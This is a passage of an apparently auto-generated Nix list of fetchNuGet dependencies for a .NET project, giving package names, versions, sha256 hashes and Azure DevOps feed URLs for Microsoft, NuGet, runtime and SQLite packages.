"https://pkgs.dev.azure.com/azure-public/3ccf6661-f8ce-4e8a-bb2e-eff943ddd3c7/_packaging/491596af-6d2d-439e-80bb-1ebb3b54f9a8/nuget/v3/flat2/microsoft.visualstudio.threading.analyzers/17.10.12-preview/microsoft.visualstudio.threading.analyzers.17.10.12-preview.nupkg"; }) + (fetchNuGet { pname = "Microsoft.VisualStudio.Utilities.Internal"; version = "16.3.56"; sha256 = "14z8qd6wkx5m79wph2fyf0hfj8z8fv93pjv8z39vpnxpfkq0rqhy"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.visualstudio.utilities.internal/16.3.56/microsoft.visualstudio.utilities.internal.16.3.56.nupkg"; }) + (fetchNuGet { pname = "Microsoft.VisualStudio.Validation"; version = "17.6.11"; sha256 = "0qx4nzsx28galgzzjkgf541254d433dgxcaf7y2y1qyyxgsfjj1f"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.visualstudio.validation/17.6.11/microsoft.visualstudio.validation.17.6.11.nupkg"; }) + (fetchNuGet { pname = "Microsoft.VisualStudio.Validation"; version = "17.8.8"; sha256 = "0sra63pv7l51kyl89d4g3id87n00si4hb7msrg7ps7c930nhc7xh"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.visualstudio.validation/17.8.8/microsoft.visualstudio.validation.17.8.8.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Win32.Primitives"; version = "4.3.0"; sha256 = "0j0c1wj4ndj21zsgivsc24whiya605603kxrbiw6wkfdync464wq"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.win32.primitives/4.3.0/microsoft.win32.primitives.4.3.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Win32.Registry"; version = "5.0.0"; sha256 = "102hvhq2gmlcbq8y2cb7hdr2dnmjzfp2k3asr1ycwrfacwyaak7n"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.win32.registry/5.0.0/microsoft.win32.registry.5.0.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.Win32.SystemEvents"; version = "7.0.0"; sha256 = "1bh77misznh19m1swqm3dsbji499b8xh9gk6w74sgbkarf6ni8lb"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.win32.systemevents/7.0.0/microsoft.win32.systemevents.7.0.0.nupkg"; }) + (fetchNuGet { pname = "Microsoft.WindowsDesktop.App.Ref"; version = "6.0.27"; sha256 = "0h6xm9cc835pfpmrjvpf1fi6wq1sh1s9f7v04270cmr3d8k0ihj0"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.windowsdesktop.app.ref/6.0.27/microsoft.windowsdesktop.app.ref.6.0.27.nupkg"; }) + (fetchNuGet { pname = "Microsoft.WindowsDesktop.App.Ref"; version = "7.0.16"; sha256 = "02wn0x6p44g60zypk46dlliq8ic1n0dsb112zv9hdghln8kpm1rp"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.windowsdesktop.app.ref/7.0.16/microsoft.windowsdesktop.app.ref.7.0.16.nupkg"; }) + (fetchNuGet { pname = "Microsoft.WindowsDesktop.App.Ref"; version = "8.0.2"; sha256 = "1jdnz219800q1wwy01qm6p43jrzbhvsfgp8gmfm0v3qw52v6zxnr"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/microsoft.windowsdesktop.app.ref/8.0.2/microsoft.windowsdesktop.app.ref.8.0.2.nupkg"; }) + (fetchNuGet { pname = "Nerdbank.Streams"; version = "2.10.69"; sha256 = "1klsyly7k1xhbhrpq2s2iwdlmw3xyvh51rcakfazwxkv2hm5fj3b"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/nerdbank.streams/2.10.69/nerdbank.streams.2.10.69.nupkg"; }) + (fetchNuGet { pname = "NETStandard.Library"; version = "2.0.0"; sha256 = "1bc4ba8ahgk15m8k4nd7x406nhi0kwqzbgjk2dmw52ss553xz7iy"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/netstandard.library/2.0.0/netstandard.library.2.0.0.nupkg"; }) + (fetchNuGet { pname = "NETStandard.Library"; version = "2.0.3"; sha256 = "1fn9fxppfcg4jgypp2pmrpr6awl3qz1xmnri0cygpkwvyx27df1y"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/netstandard.library/2.0.3/netstandard.library.2.0.3.nupkg"; }) + (fetchNuGet { pname = "Newtonsoft.Json"; version = "13.0.3"; sha256 = "0xrwysmrn4midrjal8g2hr1bbg38iyisl0svamb11arqws4w2bw7"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/newtonsoft.json/13.0.3/newtonsoft.json.13.0.3.nupkg"; }) + (fetchNuGet { pname = "NuGet.Common"; version = "6.8.0-rc.112"; sha256 = "15qpl1s25h5b3rqc7k0p8iirr0n344ard5z624gy20as4zr0bwid"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.common/6.8.0-rc.112/nuget.common.6.8.0-rc.112.nupkg"; }) + (fetchNuGet { pname = "NuGet.Configuration"; version = "6.8.0-rc.112"; sha256 = "0z0nnyyfg5k9p1zz9845vsa5piy2nqs9qmfnbn7wapcs321p0s5m"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.configuration/6.8.0-rc.112/nuget.configuration.6.8.0-rc.112.nupkg"; }) + (fetchNuGet { pname = "NuGet.DependencyResolver.Core"; version = "6.8.0-rc.112"; sha256 = "0ax127jjmrrahhc1qxxn0wqpg18ydqwsmw5w8141gcgswjdhlbcx"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.dependencyresolver.core/6.8.0-rc.112/nuget.dependencyresolver.core.6.8.0-rc.112.nupkg"; }) + (fetchNuGet { pname = "NuGet.Frameworks"; version = "5.11.0"; sha256 = "0wv26gq39hfqw9md32amr5771s73f5zn1z9vs4y77cgynxr73s4z"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/nuget.frameworks/5.11.0/nuget.frameworks.5.11.0.nupkg"; }) + (fetchNuGet { pname = "NuGet.Frameworks"; version = "6.8.0-rc.112"; sha256 = "1bfv6q3gnvjbhx1d6y60sgkysy3qvp6and69vmbf2sygkzzrinfi"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.frameworks/6.8.0-rc.112/nuget.frameworks.6.8.0-rc.112.nupkg"; }) + (fetchNuGet { pname = "NuGet.LibraryModel"; version = "6.8.0-rc.112"; sha256 = "125h1jbcaqkndghakhl43bvm195cbwwrm78i1l1rkph2s5x46ggh"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.librarymodel/6.8.0-rc.112/nuget.librarymodel.6.8.0-rc.112.nupkg"; }) + (fetchNuGet { pname = "NuGet.Packaging"; version = "6.8.0-rc.112"; sha256 = "1213nlqxqbbidj6w296hsb0l6sm21d7dm77cj0hfyxqjhi63vlb7"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.packaging/6.8.0-rc.112/nuget.packaging.6.8.0-rc.112.nupkg"; }) + (fetchNuGet { pname = "NuGet.ProjectModel"; version = "6.8.0-rc.112"; sha256 = "0yy2jfl3r8a4d8dbdfxwpamla4c3zi9998ip9y2rskliykaj3r41"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.projectmodel/6.8.0-rc.112/nuget.projectmodel.6.8.0-rc.112.nupkg"; }) + (fetchNuGet { pname = "NuGet.Protocol"; version = "6.8.0-rc.112"; sha256 = "1xbyd4rb22pcd4j38gh4gybm9qwrn5zp9k8792dhi7in58jcrgza"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.protocol/6.8.0-rc.112/nuget.protocol.6.8.0-rc.112.nupkg"; }) + (fetchNuGet { pname = "NuGet.Versioning"; version = "6.8.0-rc.112"; sha256 = "04a5x8p11xqqwd9h1bd3n48c33kasv3xwdq5s9ip66i9ki5icc07"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/d1622942-d16f-48e5-bc83-96f4539e7601/nuget/v3/flat2/nuget.versioning/6.8.0-rc.112/nuget.versioning.6.8.0-rc.112.nupkg"; }) + (fetchNuGet { pname = "PowerShell"; version = "7.0.0"; sha256 = "13jhnbh12rcmdrkmlxq45ard03lmfq7bg14xg7k108jlpnpsr1la"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/powershell/7.0.0/powershell.7.0.0.nupkg"; }) + (fetchNuGet { pname = "RichCodeNav.EnvVarDump"; version = "0.1.1643-alpha"; sha256 = "1pp1608xizvv0h9q01bqy7isd3yzb3lxb2yp27j4k25xsvw460vg"; url = "https://pkgs.dev.azure.com/azure-public/3ccf6661-f8ce-4e8a-bb2e-eff943ddd3c7/_packaging/58ca65bb-e6c1-4210-88ac-fa55c1cd7877/nuget/v3/flat2/richcodenav.envvardump/0.1.1643-alpha/richcodenav.envvardump.0.1.1643-alpha.nupkg"; }) + (fetchNuGet { pname = "Roslyn.Diagnostics.Analyzers"; version = "3.11.0-beta1.23364.2"; sha256 = "1dingpkgbcapbfb2znd1gjhghamvhfvhnrsskf7if2q2sm52pkjz"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/49a1bb2b-12b0-475f-adbd-1560fc76be38/nuget/v3/flat2/roslyn.diagnostics.analyzers/3.11.0-beta1.23364.2/roslyn.diagnostics.analyzers.3.11.0-beta1.23364.2.nupkg"; }) + (fetchNuGet { pname = "runtime.any.System.Collections"; version = "4.3.0"; sha256 = "0bv5qgm6vr47ynxqbnkc7i797fdi8gbjjxii173syrx14nmrkwg0"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.any.system.collections/4.3.0/runtime.any.system.collections.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.any.System.Diagnostics.Tracing"; version = "4.3.0"; sha256 = "00j6nv2xgmd3bi347k00m7wr542wjlig53rmj28pmw7ddcn97jbn"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.any.system.diagnostics.tracing/4.3.0/runtime.any.system.diagnostics.tracing.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.any.System.Globalization"; version = "4.3.0"; sha256 = "1daqf33hssad94lamzg01y49xwndy2q97i2lrb7mgn28656qia1x"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.any.system.globalization/4.3.0/runtime.any.system.globalization.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.any.System.IO"; version = "4.3.0"; sha256 = "0l8xz8zn46w4d10bcn3l4yyn4vhb3lrj2zw8llvz7jk14k4zps5x"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.any.system.io/4.3.0/runtime.any.system.io.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.any.System.Reflection"; version = "4.3.0"; sha256 = "02c9h3y35pylc0zfq3wcsvc5nqci95nrkq0mszifc0sjx7xrzkly"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.any.system.reflection/4.3.0/runtime.any.system.reflection.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.any.System.Reflection.Primitives"; version = "4.3.0"; sha256 = "0x1mm8c6iy8rlxm8w9vqw7gb7s1ljadrn049fmf70cyh42vdfhrf"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.any.system.reflection.primitives/4.3.0/runtime.any.system.reflection.primitives.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.any.System.Resources.ResourceManager"; version = "4.3.0"; sha256 = "03kickal0iiby82wa5flar18kyv82s9s6d4xhk5h4bi5kfcyfjzl"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.any.system.resources.resourcemanager/4.3.0/runtime.any.system.resources.resourcemanager.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.any.System.Runtime"; version = "4.3.0"; sha256 = "1cqh1sv3h5j7ixyb7axxbdkqx6cxy00p4np4j91kpm492rf4s25b"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.any.system.runtime/4.3.0/runtime.any.system.runtime.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.any.System.Runtime.Handles"; version = "4.3.0"; sha256 = "0bh5bi25nk9w9xi8z23ws45q5yia6k7dg3i4axhfqlnj145l011x"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.any.system.runtime.handles/4.3.0/runtime.any.system.runtime.handles.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.any.System.Runtime.InteropServices"; version = "4.3.0"; sha256 = "0c3g3g3jmhlhw4klrc86ka9fjbl7i59ds1fadsb2l8nqf8z3kb19"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.any.system.runtime.interopservices/4.3.0/runtime.any.system.runtime.interopservices.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.any.System.Text.Encoding"; version = "4.3.0"; sha256 = "0aqqi1v4wx51h51mk956y783wzags13wa7mgqyclacmsmpv02ps3"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.any.system.text.encoding/4.3.0/runtime.any.system.text.encoding.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.any.System.Text.Encoding.Extensions"; version = "4.3.0"; sha256 = "0lqhgqi0i8194ryqq6v2gqx0fb86db2gqknbm0aq31wb378j7ip8"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.any.system.text.encoding.extensions/4.3.0/runtime.any.system.text.encoding.extensions.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.any.System.Threading.Tasks"; version = "4.3.0"; sha256 = "03mnvkhskbzxddz4hm113zsch1jyzh2cs450dk3rgfjp8crlw1va"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.any.system.threading.tasks/4.3.0/runtime.any.system.threading.tasks.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.debian.8-x64.runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "16rnxzpk5dpbbl1x354yrlsbvwylrq456xzpsha1n9y3glnhyx9d"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.debian.8-x64.runtime.native.system.security.cryptography.openssl/4.3.0/runtime.debian.8-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.fedora.23-x64.runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "0hkg03sgm2wyq8nqk6dbm9jh5vcq57ry42lkqdmfklrw89lsmr59"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.fedora.23-x64.runtime.native.system.security.cryptography.openssl/4.3.0/runtime.fedora.23-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.fedora.24-x64.runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "0c2p354hjx58xhhz7wv6div8xpi90sc6ibdm40qin21bvi7ymcaa"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.fedora.24-x64.runtime.native.system.security.cryptography.openssl/4.3.0/runtime.fedora.24-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.native.System"; version = "4.3.0"; sha256 = "15hgf6zaq9b8br2wi1i3x0zvmk410nlmsmva9p0bbg73v6hml5k4"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.native.system/4.3.0/runtime.native.system.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "18pzfdlwsg2nb1jjjjzyb5qlgy6xjxzmhnfaijq5s2jw3cm3ab97"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.native.system.security.cryptography.openssl/4.3.0/runtime.native.system.security.cryptography.openssl.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.opensuse.13.2-x64.runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "0qyynf9nz5i7pc26cwhgi8j62ps27sqmf78ijcfgzab50z9g8ay3"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.opensuse.13.2-x64.runtime.native.system.security.cryptography.openssl/4.3.0/runtime.opensuse.13.2-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.opensuse.42.1-x64.runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "1klrs545awhayryma6l7g2pvnp9xy4z0r1i40r80zb45q3i9nbyf"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.opensuse.42.1-x64.runtime.native.system.security.cryptography.openssl/4.3.0/runtime.opensuse.42.1-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.osx.10.10-x64.runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "0zcxjv5pckplvkg0r6mw3asggm7aqzbdjimhvsasb0cgm59x09l3"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.osx.10.10-x64.runtime.native.system.security.cryptography.openssl/4.3.0/runtime.osx.10.10-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.rhel.7-x64.runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "0vhynn79ih7hw7cwjazn87rm9z9fj0rvxgzlab36jybgcpcgphsn"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.rhel.7-x64.runtime.native.system.security.cryptography.openssl/4.3.0/runtime.rhel.7-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.ubuntu.14.04-x64.runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "160p68l2c7cqmyqjwxydcvgw7lvl1cr0znkw8fp24d1by9mqc8p3"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.ubuntu.14.04-x64.runtime.native.system.security.cryptography.openssl/4.3.0/runtime.ubuntu.14.04-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.ubuntu.16.04-x64.runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "15zrc8fgd8zx28hdghcj5f5i34wf3l6bq5177075m2bc2j34jrqy"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.ubuntu.16.04-x64.runtime.native.system.security.cryptography.openssl/4.3.0/runtime.ubuntu.16.04-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.ubuntu.16.10-x64.runtime.native.System.Security.Cryptography.OpenSsl"; version = "4.3.0"; sha256 = "1p4dgxax6p7rlgj4q73k73rslcnz4wdcv8q2flg1s8ygwcm58ld5"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.ubuntu.16.10-x64.runtime.native.system.security.cryptography.openssl/4.3.0/runtime.ubuntu.16.10-x64.runtime.native.system.security.cryptography.openssl.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.unix.Microsoft.Win32.Primitives"; version = "4.3.0"; sha256 = "0y61k9zbxhdi0glg154v30kkq7f8646nif8lnnxbvkjpakggd5id"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.unix.microsoft.win32.primitives/4.3.0/runtime.unix.microsoft.win32.primitives.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.unix.System.Diagnostics.Debug"; version = "4.3.0"; sha256 = "1lps7fbnw34bnh3lm31gs5c0g0dh7548wfmb8zz62v0zqz71msj5"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.unix.system.diagnostics.debug/4.3.0/runtime.unix.system.diagnostics.debug.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.unix.System.IO.FileSystem"; version = "4.3.0"; sha256 = "14nbkhvs7sji5r1saj2x8daz82rnf9kx28d3v2qss34qbr32dzix"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.unix.system.io.filesystem/4.3.0/runtime.unix.system.io.filesystem.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.unix.System.Net.Primitives"; version = "4.3.0"; sha256 = "0bdnglg59pzx9394sy4ic66kmxhqp8q8bvmykdxcbs5mm0ipwwm4"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.unix.system.net.primitives/4.3.0/runtime.unix.system.net.primitives.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.unix.System.Net.Sockets"; version = "4.3.0"; sha256 = "03npdxzy8gfv035bv1b9rz7c7hv0rxl5904wjz51if491mw0xy12"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.unix.system.net.sockets/4.3.0/runtime.unix.system.net.sockets.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.unix.System.Private.Uri"; version = "4.3.0"; sha256 = "1jx02q6kiwlvfksq1q9qr17fj78y5v6mwsszav4qcz9z25d5g6vk"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.unix.system.private.uri/4.3.0/runtime.unix.system.private.uri.4.3.0.nupkg"; }) + (fetchNuGet { pname = "runtime.unix.System.Runtime.Extensions"; version = "4.3.0"; sha256 = "0pnxxmm8whx38dp6yvwgmh22smknxmqs5n513fc7m4wxvs1bvi4p"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/runtime.unix.system.runtime.extensions/4.3.0/runtime.unix.system.runtime.extensions.4.3.0.nupkg"; }) + (fetchNuGet { pname = "SQLitePCLRaw.bundle_green"; version = "2.1.0"; sha256 = "008bnj279y7gxcai69r4bqgxpxwsdb8jvai4kxkd97arlcr1cpjv"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/45bacae2-5efb-47c8-91e5-8ec20c22b4f8/nuget/v3/flat2/sqlitepclraw.bundle_green/2.1.0/sqlitepclraw.bundle_green.2.1.0.nupkg"; }) + (fetchNuGet { pname = "SQLitePCLRaw.core"; version = "2.1.0"; sha256 = "0kq5x9k5kl6lh7jp1hgjn08wl37zribrykfimhln6mkqbp1myncp"; url = 